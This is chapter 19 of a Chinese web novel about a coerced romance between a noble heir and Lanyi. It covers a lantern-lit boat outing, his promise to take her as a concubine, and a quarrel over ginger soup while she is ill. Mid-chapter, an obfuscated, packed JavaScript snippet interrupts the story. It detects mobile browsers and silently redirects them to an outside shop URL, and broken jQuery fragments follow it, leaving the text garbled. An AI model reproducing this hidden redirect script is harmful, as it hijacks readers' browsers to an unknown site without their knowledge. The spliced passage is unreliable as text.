19. 第十九章
作品:《被世子强取豪夺后》 兰漪见哄劝无效,正想再说些什么,身旁忽然窜出一个约莫五六岁的孩童。那孩童梳着双丫髻,手里攥着半块桂花糕,睁着圆溜溜的大眼睛。
他先是直勾勾盯了顾惊澜半晌,又忽的转向兰漪,奶声奶气却字字清晰地开口:“姐姐,你的夫君样子看起来好凶呀,像庙里的怒目金刚一样!”
这话一出,周遭的空气仿佛瞬间凝滞了一般。兰漪先是愣了一下,接着下意识地看向顾惊澜,生怕这童言无忌的话惹得他动怒。
而那孩童的姐姐,一个约莫十四五岁的少女,此刻早已吓得脸色发白。她连忙上前一步,伸手死死捂住弟弟的嘴巴,红着脸连连道歉:“对不起对不起!二位贵人不好意思,我弟弟年纪小,童言无忌,胡言乱语的,您千万别往心里去!”说着,还用力拽了拽弟弟的胳膊,示意他不许再说话。
孩童被姐姐捂住嘴巴,只能发出“呜呜”的声音,一双大眼睛无辜地眨了眨,不明白自己说错了什么。
兰漪心头捏了把汗,正想打圆场,谁料顾惊澜听到那孩童的话,脸上的阴沉缓缓散去,周身的低气压也悄然消散。
他非但没有动怒,反而抬眼看向那被捂住嘴巴的孩童,语气难得地缓和下来,对着少女摆了摆手:“无妨,让他说。”
少女愣了一下,迟疑着松开了捂住弟弟嘴巴的手。那孩童得了自由,立刻又仰着小脸,重复了一遍:“姐姐,你的夫君看起来好凶哦!”
顾惊澜眼底的阴霾瞬间一扫而空,先前的不悦早已抛到了九霄云外。
兰漪被他这突如其来的转变弄得有些发懵,又听到“夫君”二字,脸颊霎时染上一层绯红,连忙别开脸,不与他对视。
顾惊澜瞧着她泛红的脸颊,心情愈发愉悦,甚至从袖中取出一锭银子,递给那孩童,语气温和:“说得好,这个赏你。”
孩童接过银子,眼睛瞬间亮了起来,连忙道了声“谢谢凶夫君”,便被姐姐拉着匆匆离开了。少女离开前,还不忘回头再道了一次歉,神色依旧带着几分惶恐。
兰漪转头看向顾惊澜,嗔怪道:“世子爷,您方才还脸色那么难看,怎么这会儿又高兴起来了?”
顾惊澜伸手,轻轻捏了捏她的脸颊,语气不禁几分得意:“自然是因为听到了顺耳的话。”他顿了顿,目光落在她怀中的花束上,“不过,这些花还是得扔。”
兰漪无奈点头,接着转而将手上的花递给墨白。
就这样二人一路闲逛,不知不觉便到了夜幕降临之时。
华灯初上,宜州城的夜景愈发迷人,顾惊澜牵着兰漪的手,登上了一艘早已备好的画舫。画舫缓缓驶离岸边,行至湖中心,晚风携着湖水的清冽气息扑面而来,吹散了白日的燥热。
船舱内点着暖黄的宫灯,窗外是粼粼的波光,映着岸边的灯火,别有一番雅致。
兰漪靠在画舫的围栏边,望着静谧的湖面,指尖轻轻探入微凉的湖水,缓缓拨弄着,涟漪一圈圈扩散开来,搅碎了水中的灯影。晚风拂起她淡紫色的裙摆,淡淡的清香萦绕周身。
今日是她头一回这般自在。
这般难得的轻松,让她心头泛起一丝恍惚,竟生出几分贪恋。
不过很快,兰漪便在心中暗暗告诫自己千万不能沉溺。
眼前的一切全都是镜花水月般的假象,她终究是要离开这牢笼的,若是陷进去,日后只会摔得更惨。
她垂下眼帘,掩去眸底的复杂,指尖拨弄湖水的动作不自觉重了些,似要将那点不该有的贪恋打散。
顾惊澜在她身侧,目光没有落在周遭的夜景上,只定定地望着她。暖黄的灯光落在她的发梢与肩头,淡紫色的衣裙被晚风拂起,眉眼温柔,侧脸的轮廓柔和动人,连指尖拨弄湖水的模样,都透着岁月静好的感觉。
就在这时,“咻——”的一声轻响划破夜空,一朵绚烂的烟花骤然在墨色天幕上绽放,金红交织,璀璨夺目,瞬间照亮了兰漪略带怔然的眉眼。
紧接着,更多烟花接二连三地升空,层层叠叠,照亮了整片夜空,也照亮了画舫上二人的身影。烟花绽放的声响此起彼伏。
兰漪抬眸望向夜空,眼底盛着漫天璀璨,嘴角弯起浅浅的笑意,可这笑意尚未完全漾开,便听得身侧的顾惊澜开口,声音被烟花声衬得愈发郑重。
只听他十分认真的说道:“待回京之后,我便正式纳你入府,往后没人再敢轻慢你。”
这话如同一道惊雷,猝不及防炸在兰漪心头,让她瞬间僵在原地,眼底的笑意顿时僵住。
纳。
他说的是纳她入府。
这一个字,像一根尖锐的针,刺破了方才所有温柔缱绻的假象。
纳是妾,娶是妻,一字之差,天差地别。
兰漪自小在深宅中长大,对这些规矩再清楚不过。妾,是依附主君的存在,连带着子女都要被冠上庶出的名头,矮人一等。妻,是三媒六聘、与主君并肩的正室,执掌中馈,尊享荣宠,身份地位有着云泥之别。
一字之差,却似乎是她穷尽一生都无法逾越的鸿沟。
她垂在身侧的手悄然攥紧,指尖深深掐进掌心,借着疼痛勉强稳住心神,才没让眼底的怨怼与嘲讽流露出来。漫天烟花依旧在夜空绽放,绚烂的光影不断在她脸上流转,却照不进她此刻冰凉的心底,她现在只觉得眼前所有的热闹与温柔,都成了莫大的讽刺。
见兰漪愣住,顾惊澜接着解释道:“你不必愣着,也不用担心合不合规矩。回京之后,我便会亲自禀明此事,风风光光纳你入府,给你一个正经的名分。”
兰漪强行压抑住抵触。缓缓抬眸,掩去眼底所有复杂的情绪,重新扯出一抹温顺柔和的笑意。
顾惊澜,你就是个大混蛋。
顾惊澜见她这般模样,温柔地握紧她的手,陪她静坐在画舫围栏边,看漫天烟花从绚烂渐至沉寂。
晚风渐凉,吹得兰漪浑身乏力,白日里的热闹与心绪翻涌耗尽了她的力气,身子渐渐发沉,不知不觉便垂眸睡了过去。
顾惊澜察觉到肩头的重量,低头便见她眉眼舒展,褪去了所有防备与伪装,熟睡的模样温顺又脆弱。这他心头一软,小心翼翼地俯身,将她打横抱起,动作轻柔。兰漪的身子纤细轻盈,靠在他怀里,淡紫色的裙摆垂落,随着脚步轻轻晃动。
画舫靠岸后,顾惊澜抱着她稳步走向早已备好的马车,全程未曾松手,任由她依偎在自己怀中熟睡,马车行驶时刻意叮嘱车夫放缓速度,避开颠簸。抵达临时宅邸时,夜色已深,廊下宫灯泛着暖黄微光,他抱着兰漪一步步踏入内室,脚步放得极轻。
走到床榻边,他缓缓弯腰,将兰漪轻轻放在柔软的锦被上,指尖拂过她微凉的脸颊,眼底满是缱绻温柔。
他俯身,在她光洁的眉心印下一个轻柔的吻,而后才直起身,轻手轻脚地转身离去。
出门后,他恰好撞见守在门外的清荷,语气瞬间恢复了沉稳,叮嘱道:“姑娘睡熟了,夜里仔细照料,莫要惊扰她。留意着她的体温,若是醒了便温些安神汤来。”
清荷闻言连忙躬身应下:“奴婢晓得,世子爷放心。”
顾惊澜又叮嘱了几句才转身离开,脚步声渐渐远去,屋内重归静谧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312998|198191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
待周遭彻底没了声响,原本熟睡的兰漪缓缓睁开了双眼,方才眼底的温顺与动容尽数褪去,只剩一片冰冷。
她抬手轻轻抚上自己的眉心,那里仿佛还残留着顾惊澜吻过的温度,却让她只觉得一阵生理性的不适,指尖用力擦了擦眉心,神色冷冽。
-
夜色褪去,天刚泛起鱼肚白,内室里还萦绕着淡淡的安神香。
兰漪是被浑身的燥热与刺骨的寒意交替折磨醒的,她费力地睁开眼,只觉得脑袋昏昏沉沉,喉咙干涩得发疼。
鼻尖堵塞得厉害,呼吸只能依赖张口,每一次吸气都带着微凉的刺痛,不用想也知,是昨夜在画舫上吹了凉风,染上了风寒。
她侧过身,将脸埋进柔软的锦被里,心底满是烦躁。她只想安安静静待着,不过现在她连起身喝口水的力气都没有,只能任由不适感蔓延全身。
“姑娘,您醒了吗?”清荷端着洗漱用具轻手轻脚走进来,见床榻上的人动了动,连忙上前查看。
待看清兰漪潮红的脸颊、紧锁的眉峰,还有那略显急促的呼吸时,她心头一紧,连忙放下东西,伸手探了探兰漪的额头,指尖触到滚烫温度的瞬间,不由得一惊:“姑娘,您发热了。是不是昨夜在画舫上吹了风受了寒?”
兰漪靠在床头,浑身酸软乏力,连睁眼都觉得费力,闻言只淡淡应了一声:“兴许是的。”
清荷不敢耽搁,一边扶着兰漪躺好,一边快步往外走道:“姑娘您先躺着别动,奴婢这就去请大夫,再去熬些驱寒的姜汤来!”
“不必……”兰漪想抬手阻止,话未说完便没了力气。
她最是厌恶生姜那股辛辣刺鼻的味道,哪怕是入药的淡姜味都难以忍受,更别提浓稠的姜汤。可清荷早已脚步匆匆地出了门,根本没听见她的低语。
不多时,顾惊澜得了消息快步赶了过来,可一进门看到兰漪病恹恹的模样,眉头瞬间拧成了川字。他大步走到床榻边,俯身将掌心覆在她的额头上,微凉的触感让兰漪下意识瑟缩了一下。
“真是娇气,吹了点晚风就病成这副模样。”顾惊澜收回手,语气虽然有些责备的意味,可动作却格外轻柔,伸手拂开她汗湿的碎发,“这般金贵,倒显得是我的不是了。”
兰漪懒得与他辩解,只闭着眼假寐,周身的不适感让她没力气应对他。
她现在根本不想看见顾惊澜这个混蛋。
顾惊澜也不恼,坐在床榻边缘,就这般静静陪着,目光时不时落在她泛红的脸颊上。
大夫很快赶来诊脉,确诊是风寒高热,叮嘱需好生静养,多喝温热姜汤驱寒,再配合汤药退热。大夫刚走,便见清荷端着一碗冒着热气的姜汤走进来。
“姑娘,姜汤熬好了,您快趁热喝了吧,驱了寒好得快。”清荷将姜汤递到床边,兰漪一闻到那辛辣的味道,脸色瞬间沉了下去,原本就苍白的唇瓣抿得更紧,眼底满是抵触。
“喝了。”顾惊澜拿起汤碗,吹凉了些递到她唇边。
兰漪却偏过头,避开汤碗,眼神冰冷地看着他,态度坚决:“我不喝。”
顾惊澜并未觉察出兰漪态度的转变,也只当是她身子不适耍小性子。
“不过是碗姜汤而已。”顾惊澜眉头蹙得更紧,语气添了几分严厉,“大夫说了,喝这个才能好得快,别任性。”
说着又将汤碗递过去,可兰漪依旧拒不张口,哪怕是面对苦涩难咽的汤药都能面无表情喝下,唯独对这姜汤,半分妥协的余地都没有。
一人执意要喂,一人坚决不喝,屋内的气氛瞬间僵持下来。

